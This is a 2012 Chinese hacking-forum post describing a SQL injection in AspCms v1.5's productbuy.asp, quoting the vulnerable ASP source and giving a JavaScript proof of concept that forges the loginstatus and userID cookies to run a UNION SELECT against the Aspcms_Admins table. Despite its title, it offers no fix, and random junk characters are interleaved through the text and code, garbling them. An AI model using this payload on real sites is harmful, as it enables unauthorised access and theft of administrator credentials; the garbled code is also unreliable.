找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2323|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....9 J5 r0 Y$ e/ Q
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。  V; X7 i$ f; Q3 W
废话不多说,看代码:/ c: ^, ?* X9 i

3 m! C7 u' t0 x/ I<%
/ |* E% G+ p1 o- m# s9 l  s+ R, q" \- t% b# t2 e9 I$ V
if action = "buy" then7 }& |6 \: K, _$ [3 d3 ?

0 q  d2 a' [3 h! x        addOrder()
. D* P1 k: l$ u5 p2 f% n: J& k& d: b. p( S) R9 D
else
, p7 e; f, h" d6 X# Q- K) }# Z) C+ L2 ?, D- }& o
        echoContent()
! Y+ ]' ?5 T9 N* |) s4 _$ Z
- ^$ ?7 I3 F+ U8 U& K5 E8 b4 Cend if/ c* w% p6 {) P3 g
' C1 j. b! T7 M7 }
& E. h+ w: }9 I" |# O
- I+ x" Q  P7 V9 B
……略过8 X4 l# X3 a' L8 ]" Y

  E3 ~. M% r& T5 w# V
  b7 c7 ?3 A7 M$ ^/ s
$ i" c( T. {* P$ X6 p) ZSub echoContent()
' H% M3 n- K7 k$ r  u' i% u( V1 S) e, x1 e
        dim id
3 F  K5 i, S9 J! T: W$ J# I; j' p
  x5 F1 c& k5 Z  h3 l        id=getForm("id","get"). R1 K3 o$ E( T3 f( ^9 a
- j) g2 K, S. E8 K
        
' F9 S% i9 F4 p$ j+ w: ^$ g3 @4 v
* k" H" T/ Z6 x. M* P* K4 g; z        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" - D9 X3 n; ^* e2 Z) x

- c3 {' r0 s4 C# L" ?) a% s        
  {' N* ^$ p8 B% P2 F7 x  d* b* ?: W. J" z
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")! r0 j8 P' _* A( g/ p& y- j

4 N. M! y1 Q+ ^. m( p$ q! _        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct: S- ~4 R5 p5 z3 T0 n9 w. F

. Q- j, e3 W* Y( A# @        Dim templatePath,tempStr
# P9 }% f/ c# E% S4 O2 G
9 o$ L) r8 ?3 M2 {        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"4 C8 j5 I. e( t; C0 B
, T( f- P- E( J: v
( T3 s# L5 p( C' E& N. E) {
5 {  _3 n% @( {1 s! z' w; d
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
) L4 ^# V4 }, o6 W0 V0 }/ I/ X/ b( w
        selectproduct=rsObj(0)1 x1 J, L8 g3 ~% m7 d

+ u& ?- f9 x9 [: ~8 X* n        
& Z' j" c% t) O$ c" p* k7 h
) |- P6 t+ W  ?        Dim linkman,gender,phone,mobile,email,qq,address,postcode
, N1 `( S: ^3 m( H# [' i! o+ Z
# R& F6 x; n" v- z& _$ s+ E9 D        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",01 E  @8 l  B; f& b0 L' d7 q
9 X0 \8 K' _$ R  w- ~2 a
        if rCookie("loginstatus")=1 then  
( h4 ^( k/ {. w4 m3 b. L/ N3 ]/ E2 j
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1"): R" f4 E/ ]% y# O

3 p- U% T$ I7 c: U& [! y; U% N) T: ~( z8 P                linkman=rsObj("truename")
: v9 d* ^6 o1 h; ^3 o6 U/ U# F9 Q- F- R% W! o$ ?' E" L
                gender=rsObj("gender")5 k+ C+ ]8 E/ u2 i; X% J
8 J, \$ X* m- t; s  b; A0 D) {
                phone=rsObj("phone")
6 h5 T# n4 E* k/ v6 v. J* ?1 |4 M3 u6 K, ^+ m
                mobile=rsObj("mobile")
' j. R7 D' [. h1 I! t9 C3 }; T- u, V$ N  L
                email=rsObj("email")
& |* X* T7 B6 u  J$ Z1 x6 j
$ J! p1 b$ O' I0 @                qq=rsObj("qq")5 K- J: j. @$ ^% m# t; V) u( [7 g
4 p9 Q- ~8 Y$ P$ l9 J; y6 G6 B
                address=rsObj("address")
- v3 F# s# k, @6 ?- i/ y* X
* `' r" M( G& j9 ?1 J& j                postcode=rsObj("postcode")$ Z! }9 \  P: _: F2 i/ r

" h( C+ ~; ^" V7 D- Q        else
: h8 v. j( K/ x* F& S$ w4 e! N; M( Q0 F
                gender=1+ W0 A' u+ h" k& o

8 d1 n0 M- ^. ]2 A* _        end if: ]( S$ x' L, \) e' B1 V

' _/ v# ^2 @7 d        rsObj.close()% v4 }6 o; L$ R. D; G& q: `

4 N1 @& v8 }* l) {3 B* U               
: _# G8 Z3 T  }  [' W6 ^& a% ~% F$ X7 n: c* l5 D( M
        with templateObj
. Y( Y+ s0 V, O6 m" S# d
% w) X( B% d2 x0 R, [                .content=loadFile(templatePath)        
. [; y5 t2 W5 i( P8 m0 x
% U$ n# H8 V( h9 s0 h2 M  T: e3 v                .parseHtml()
3 j- W' w" I- }& ?" y; g  f
9 y0 g8 r) m: G& W& [2 S- [9 r                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
% R% l# u1 Y& p
5 [/ D' E2 v/ z1 y                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                3 s4 r' f5 y) ~
) X6 u5 w0 s: n
                .content=replaceStr(.content,"[aspcms:gender]",gender)                + P5 z* M- ?4 d; p% B8 z- Q, |8 w2 U
% u$ H9 w8 z" m: ~) \$ J
                .content=replaceStr(.content,"[aspcms:phone]",phone)                + f3 l2 T4 T; G$ S
' A! C, R4 B0 h0 ^
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
( P7 f/ c; x" E$ ?$ A3 K2 m) `0 R& O3 X# L4 C3 a3 ]1 C8 T( d9 n$ @
                .content=replaceStr(.content,"[aspcms:email]",email)                        
& R+ Z4 V% g! g2 y9 v
/ h0 R% }7 N3 d( B0 s                .content=replaceStr(.content,"[aspcms:qq]",qq)                        2 J( q  G) t& G4 l  l9 d
, L2 R$ y. D1 ~, B, C. |5 G
                .content=replaceStr(.content,"[aspcms:address]",address)                        / z, h* `4 D5 _3 _. a' y7 [

9 H1 R2 B8 T8 J/ `                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        & O9 \/ d/ J& d4 p3 |7 a4 e% d# S

. k# y: g( n; m6 B9 T                .parseCommon()                 
7 J0 t5 @& z1 C! r
8 @& C8 T* R/ I+ g0 g) ^; g8 }                echo .content ! p% a8 H+ ]) f2 c6 T" b/ L" m: p0 Q- w

8 z: K  a( ?  ?/ F, @. E, Q# Q6 c        end with2 @0 D: x; E" y1 y  X
  _# p! J* c& o1 K
        set templateobj =nothing : terminateAllObjects
. k5 R1 l3 i# o& k4 I* Y) c+ U4 ~" ?& I; k: E$ n* D
End Sub
4 j  ^: t# L! g' A4 r漏洞很明显,没啥好说的
* f5 z  h# s* Npoc:8 j* s6 M2 C4 N+ d9 \

) ~4 G% H* Y% E+ ?# V+ \javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​* ^0 g4 h; _* N) L- I0 a5 V
) }: ]* |) F( D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表